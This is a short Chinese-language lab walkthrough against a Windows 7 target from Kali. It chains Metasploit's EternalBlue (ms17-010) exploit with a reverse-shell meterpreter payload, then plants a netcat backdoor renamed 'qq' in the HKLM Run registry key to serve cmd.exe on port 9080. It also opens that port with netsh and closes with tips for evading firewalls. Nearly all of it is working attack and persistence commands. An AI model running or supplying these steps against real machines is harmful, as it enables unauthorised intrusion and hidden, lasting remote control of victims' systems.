实验环境
靶 机:windows 7
攻击机:kali
漏洞利用:ms17-010
msfconsole
use exploit/windows/smb/ms17_010_eternalbule
set payload windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.21.134
set lhost 192.168.21.130
set lport 6666
run
拿到权限后上传我们的nc后门程序(我把它改名成了qq)
查看启动项的键值项,查看有哪些启动项
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
在注册表启动项内添加我们的后门,-v 指定服务名称,-d指定程序路径,-Ldp指定反弹shell的端口,-e指定反弹的程序
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v qq -d 'C:\windows\system32\qq.exe -Ldp 9080 -e cmd.exe'
查看我们感刚刚添加的启动项
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v qq
重启靶机
kali,nc连接
nc 192.168.21.134 9080
直接拿到shell
这里我的防火墙是关闭的现在我们把防火墙开启试一下(在防火墙关闭的情况下先与靶机建立连接,如何在防火墙开启的情况下建立连接这个涉及本人知识盲区了)
连接的时候是这样一个情况
接下来我们需要
shell #进入shell
netsh firewall show opmode #查看防火墙状态
netsh firewall add portopening TCP 9080 "qq" ENABLE ALL #把qq的9080端口开放
这样就可以在防火墙开着的情况下进行连接了
个人观点一般都是通过web上传拿到shell,然后用msf生成powershell上传,然后在设置端口的时候设置成常用的端口这样就不会被防火墙拦截了,在提权后关闭掉防火墙。